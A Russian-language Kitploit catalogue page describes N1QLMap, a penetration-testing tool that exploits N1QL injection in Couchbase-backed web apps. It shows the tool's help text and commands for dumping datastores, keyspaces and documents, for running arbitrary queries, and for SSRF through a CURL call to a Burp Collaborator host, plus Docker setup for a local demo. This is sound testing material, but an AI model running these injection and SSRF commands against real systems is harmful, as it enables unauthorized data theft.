Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
N1QLMap — Инструмент осуществляет эксфильтрацию данных из базы данных Couchbase путем эксплуатации уязвимостей N1QL-инъекций. | Kitploit
Инструменты/GitHubGitHub/fsecurelabs/n1qlmap
Эксплуатация веб-приложенийЭксфильтрация данныхТестирование на ПроникновениеБезопасность Баз Данных
GitHubfsecurelabs/n1qlmap

N1QLMap

Инструмент осуществляет эксфильтрацию данных из базы данных Couchbase путем эксплуатации уязвимостей N1QL-инъекций.

Репозиторий
751415 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Описание

N1QLMap — это инструмент эксплуатации N1QL. В настоящее время работает с базой данных Couchbase. Инструмент поддерживает извлечение данных и выполнение SSRF-атак с помощью CURL. Более подробную информацию можно найти здесь: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.

Использование

Справка

root@kitploit:~
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
                  host

positional arguments:
  host                  Host used to send an HTTP request e.g. https://vulndomain.net

optional arguments:
  -h, --help            show this help message and exit
  -r REQUEST, --request REQUEST
                        Path to an HTTP request
  -k KEYWORD, --keyword KEYWORD
                        Keyword that exists in HTTP response when query is successful
  --proxy PROXY         Proxy server address
  --validatecerts       Set the flag to enforce certificate validation. Certificates are not validated by default!
  -v, --verbose_debug   Set the verbosity level to debug
  -d, --datastores      Lists available datastores
  -ks DATASTORE_URL, --keyspaces DATASTORE_URL
                        Lists available keyspaces for specific datastore URL
  -e KEYSPACE_ID, --extract KEYSPACE_ID
                        Extracts data from a specific keyspace
  -q QUERY, --query QUERY
                        Run arbitrary N1QL query
  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
                        Runs CURL N1QL function inside the query, can be used to SSRF

Использование

  1. Поместите HTTP-запрос в файл request.txt. Отметьте точку внедрения с помощью *i*. Для справки см. файл example_request_1.txt.
  2. Используйте одну из следующих команд.

Извлекает хранилища данных:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

Извлекает keyspace из конкретного ID хранилища данных:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

Извлекает все документы из заданного keyspace:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

Выполняет произвольный запрос:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

Выполняет CURL-запрос / SSRF:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

Демонстрация

Чтобы поиграть с уязвимостью, вы можете запустить Docker-контейнеры с Couchbase и веб-приложением на NodeJS. Если вы уже выполнили требования, просто запустите:

root@kitploit:~
cd n1ql-demo
./quick_setup.sh

Теперь вы можете выполнять команды, описанные в разделе «Использование», в адрес контейнеризированного веб-приложения.

Требования

Скрипту N1QLMap.py не требуются какие-либо специфические зависимости, кроме Python 3.

Следующие требования относятся только к демонстрации, предоставленной в каталоге n1ql-demo.

  • Docker
  • Docker Compose

Для установки Docker и Docker Compose на Kali:

root@kitploit:~
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# Start Docker Service
systemctl start docker

# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Давайте проверим Docker:

root@kitploit:~
docker run hello-world
Скачать инструмент